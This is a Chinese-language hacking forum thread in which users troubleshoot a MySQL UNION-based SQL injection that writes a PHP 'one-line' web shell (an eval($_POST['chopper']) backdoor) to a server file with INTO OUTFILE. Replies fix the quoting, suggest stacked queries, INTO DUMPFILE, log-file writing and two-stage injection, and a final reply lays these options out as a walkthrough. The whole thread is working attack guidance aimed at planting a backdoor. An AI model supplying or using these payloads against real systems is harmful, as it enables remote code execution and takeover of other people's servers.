注入是,输出一句话的问题?
在sql 联合查询时,如果联合查询一起是4个字段select 1,2,3,4,这样可以正常返回,如果我要在1个字段输出一句话
select 1,2,(select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ),4
如果这样,那输入一句话的字段,没有返回值,那么联合查询出错,有没有什么解决办法吗 这样试试 UNION SELECT 1,2,'aaaa',4 into outfile 'D:/f.php' 按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的语句执行不通 wuyan 发表于 2015-9-2 18:03
按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的 ...
您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/f.php',是可以输出的,但是把aaa部分,替换成输出一句话,就不正常了,我的理解是,select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ,没有返回值造成的,因为我实验了下 load_file(xx),这个又成功了,不知道我这个对不对,现在想的办法,看有没有办法让select 一句话,返回个值 lyfzxz 发表于 2015-9-2 19:12
您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/ ...
可能这个目录没有写权限,只能读。 还有你能写其他的内容,不能导出一句话,你就换一句话。。 select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php'
一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理解为:select '<?php @eval($_POST['
chopper
']);?>' into outfile 'D:/f.php'
其实按照人的理解来说你这句指令是没有问题的,问题就在于人脑会自动修正一些错误,但是电脑不会,解决这个问题的方法有两个,一个是chopper不要用单引号,改成双引号,另一个办法是把单引号转义。 要不要用转移字符 tintion 发表于 2015-9-3 08:48
一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理 ...
说得有道理,我等下试试,非常感谢啊
Re: 注入是,输出一句话的问题?
你遇到了 `into outfile` 和联合查询的冲突问题。`into outfile` 本身不返回任何行数据,所以把它放在联合查询的子查询里必然导致该字段无结果,从而破坏联合查询的字段数平衡或返回空。 几个可行的思路: 1. **使用堆叠查询(如果支持)**:分号分隔两条语句,先执行正常联合查询,再执行写入。例如: `select 1,2,3,4; select '' into outfile 'D:/f.php'` 注意:MySQL 默认不支持堆叠查询,但在某些配置(如 PHP 的 `mysqli_multi_query`)或特定环境下可以用。 2. **将写入语句放在联合查询的最后一个字段,并保证前面字段都有值**:既然 `into outfile` 不返回结果,你可以把写入操作作为一个独立查询注入到数据流之外,但这需要你控制的注入点本身就能执行多条语句。如果注入点只允许单条查询,那联合查询就没法同时兼顾。 3. **改用其他文件写入方法**:比如利用 `INTO DUMPFILE`(同样不返回结果),或者结合 `LIMIT` 和 `ORDER BY` 通过错误日志、慢查询日志等方式写一句话。但这些都依赖数据库权限和配置。 4. **拆成两次注入**:第一次利用联合查询或报错注入获取目标字段数、确认注入点,第二次专门执行 `select ... into outfile`
页:
[1]